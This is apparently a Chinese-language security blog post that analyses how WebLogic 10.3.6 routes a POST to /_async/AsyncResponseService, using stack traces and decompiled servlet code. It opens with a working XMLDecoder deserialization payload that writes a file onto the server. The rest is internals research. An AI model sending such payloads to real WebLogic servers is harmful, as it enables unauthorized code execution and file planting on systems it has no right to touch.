Weblogic请求包路径分析
#Weblogic请求包路径分析
0x00 问题描述
Weblogic 10.3.6, Post访问:
http://172.16.100.97:7001/_async/AsyncResponseService
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
<void method="println">
<string>xmldecoder_vul_test4445</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
信息 1 Post Body
然后在processRequest处下断点,查看路径:
handleRequest:20, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
信息 2 请求栈
可以看到,路径还是很深的,其中涉及到多个模块。大致的流程是:
- 有个线程在不停地消费请求
- 初始化请求的Servlet上下文
- 由BaseWSServlet的service执行这个请求
- BaseWSServlet执行自己的处理逻辑,自重载的service开始执行process到handleRequest
上述还有很多细节,下一小节会详细展开。
另外还有一个问题,就是步骤1消费的请求是哪来的?当然,是我们的URL请求生成的。为了分析的完整性,还是需要分析一下请求生成的路径。
0x01 路径分析
1. 请求生成路径分析
接着上图信息2
继续分析,因为栈底的run:221, ExecuteThread
在消费请求,那么我们看看请求是谁喂的。
先看看ExecuteThread
的代码:
public void run() {
...
while(true) {
while(true) {
try {
if (this.workEntry != null) {
this.execute(this.workEntry.getWork());
}
WorkAdapter var1 = this.workEntry;
this.reset();
RequestManager.getInstance().registerIdle(this, var1);
var1 = null;
if (this.workEntry == null) {
this.waitForRequest();
}
} catch (ShutdownError var4) {
...
}
信息 3 run
显然,被消费的请求就是workEntry
,且这个线程是死循环在执行任务。
经过阅读代码和断点调试尝试,找到了丢请求任务的代码:
来自weblogic/servlet/internal/MuxableSocketHTTP.class
private void resolveServletContext(String var1) throws IOException {
ServletContextManager var2 = this.httpServer.getServletContextManager();
ContextVersionManager var3 = null;
if (var1 != null) {
var3 = var2.resolveVersionManagerForURI(var1); ------4.1
}
if (var3 == null) {
this.handleNoContext(); ------4.2
} else {
WebAppServletContext var4;
if (var3.isVersioned()) {
this.request.initContextManager(var3);
var4 = this.request.getContext();
this.request.getSessionHelper().resetSession(true);
this.request.getRequestParameters().resetQueryParams();
} else {
var4 = var3.getContext(this.request.isAdminChannelRequest());
this.request.initContext(var4);
}
this.response.initContext(var4);
if (HTTPDebugLogger.isEnabled()) {
HTTPDebugLogger.debug("Servlet Context: " + var4 + " is resolved for request: '" + this.request.toStringSimple() + "'");
}
if (this.initAndValidateRequest(var4)) {
WorkManager var5 = this.request.getServletStub().getWorkManager();
if (var5 == null) {
throw new AssertionError("Could not determine WorkManager for : " + this.request);
} else {
var5.schedule(this.request); ------4.3
}
}
}
}
信息 4
这个函数很重要,在4.1处根据传入的请求路径找到对应的servlet,然后初始化请求数据包,在4.3处将请求包丢出去消费。
信息 5
请求参数就是我们的路径uri: /_async/AsyncResponseService
根据这个uri,resolveVersionManagerForURI
匹配servlet:
resolveVersionManagerForURI
-> resolveVersionManagerForURI
-> lookupVersionManager
:
ContextVersionManager lookupVersionManager(String var1) {
return (ContextVersionManager)this.contextTable.get(var1);
}
信息 6
看看这个contextTable内容是啥?
信息 7
里面有我们的/_async
。 展开看下/_async
对应的servlet是哪个?
信息 8
可以看到,/_async
下面有多个uri,每个uri有一个servlet映射,比如我们请求url中的/AsyncResponseService
对应的servlet就是WebappWSServlet
。详情见下表:
URI | Servlet |
---|---|
/AsyncResponseServiceSoap12Https | weblogic.wsee.server.servlet.WebappWSServlet |
/AsyncResponseServiceSoap12Jms | weblogic.wsee.server.servlet.WebappWSServlet |
/AsyncResponseServiceSoap12 | weblogic.wsee.server.servlet.WebappWSServlet |
/AsyncResponseServiceJms | weblogic.wsee.server.servlet.WebappWSServlet |
AsyncResponseServiceServlethttps | weblogic.wsee.server.servlet.WebappWSServlet |
/AsyncResponseService | weblogic.wsee.server.servlet.WebappWSServlet |
信息 9
其实/_async
下面的URI对应的Servlet都是WebappWSServlet
。
继续执行完resolveVersionManagerForURI
,在信息 4
中,initAndValidateRequest
函数会设置找到的servlet到request
中并丢出去。注意,如果用户提交的url不合法,即找不到app context,在4.2中直接返回404。
那么,这些个contextTable是哪来的呢?可以看到有一些registerContext
函数,下个断点。重启一下Weblogic docker。
可以看到registerContext
被调用了:
registerContext:146, ServletContextManager (weblogic.servlet.internal)
doPostContextInit:437, HttpServer (weblogic.servlet.internal)
loadWebApp:428, HttpServer (weblogic.servlet.internal)
registerWebApp:976, WebAppModule (weblogic.servlet.internal)
prepare:384, WebAppModule (weblogic.servlet.internal)
prepare:176, ScopedModuleDriver (weblogic.application.internal.flow)
prepare:199, ModuleListenerInvoker (weblogic.application.internal.flow)
next:517, DeploymentCallbackFlow$1 (weblogic.application.internal.flow)
nextState:52, StateMachineDriver (weblogic.application.utils)
prepare:159, DeploymentCallbackFlow (weblogic.application.internal.flow)
prepare:45, DeploymentCallbackFlow (weblogic.application.internal.flow)
next:648, BaseDeployment$1 (weblogic.application.internal)
nextState:52, StateMachineDriver (weblogic.application.utils)
prepare:191, BaseDeployment (weblogic.application.internal)
prepare:44, SingleModuleDeployment (weblogic.application.internal)
next:348, BackgroundDeploymentService$1 (weblogic.application.internal)
nextState:52, StateMachineDriver (weblogic.application.utils)
run:273, BackgroundDeploymentService$BackgroundDeployAction (weblogic.application.internal)
run:336, BackgroundDeploymentService$OnDemandBackgroundDeployAction (weblogic.application.internal)
OnDemandURIAccessed:188, BackgroundDeploymentService (weblogic.application.internal)
loadOnDemandURI:106, OnDemandManager (weblogic.servlet.internal)
run:712, MuxableSocketHTTP$2 (weblogic.servlet.internal)
run:545, SelfTuningWorkManagerImpl$WorkAdapterImpl (weblogic.work)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
信息 10
也就是,当一个新的webapp被安装的时候就会注册这个上下文。
以上,详细介绍了用户输入一个合法的weblogic url,是如何生成request数据包的,接下来,我们看看weblogic是如何消费这个request数据包的。
2. 请求消费路径分析
在信息 2
中,我们已经看到了消费的栈。本小节我们稍微详细看看。
首先一个请求都会走到service函数,这里即service:820, HttpServlet (javax.servlet.http)
。相关代码来自weblogic/servlet/internal/StubSecurityHelper.class
:
public Object run() {
try {
if (this.stub == this.reqi.getServletStub() && this.stub.isFutureResponseServlet()) {
this.reqi.enableFutureResponse();
}
this.servlet.service(this.req, this.rsp);
return null;
} catch (Throwable var2) {
return var2;
}
}
}
信息 11
即调用this.servlet.service
。由上一小节分析可知,这里的servlet为weblogic.wsee.server.servlet.WebappWSServlet
。而WebappWSServlet
的类关系如下:
WebappWSServlet
—> BaseWSServlet
—> HttpServlet
public class WebappWSServlet extends BaseWSServlet {
public WebappWSServlet() {
}
public DeployInfo loadDeployInfo() throws ServletException {
return ServletDeployInfo.load(this);
}
}
信息 12
这也是我们在信息2
中看到BaseWSServlet
和HttpServlet
,而没有看到WebappWSServlet
的原因。
剩下的就是BaseWSServlet
自己的请求包处理逻辑了。略过。
这里再附上另一个例子供对比参考:
请求:http://172.16.100.97:7001/wls-wsat/CoordinatorPortType
栈:
processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
信息 13
可以看到,对应这个请求,响应的是JAXWSServlet
这个servlet了。
0x02 总结
本文主要介绍了weblogic下的http请求,包括请求的内部生成逻辑和响应逻辑。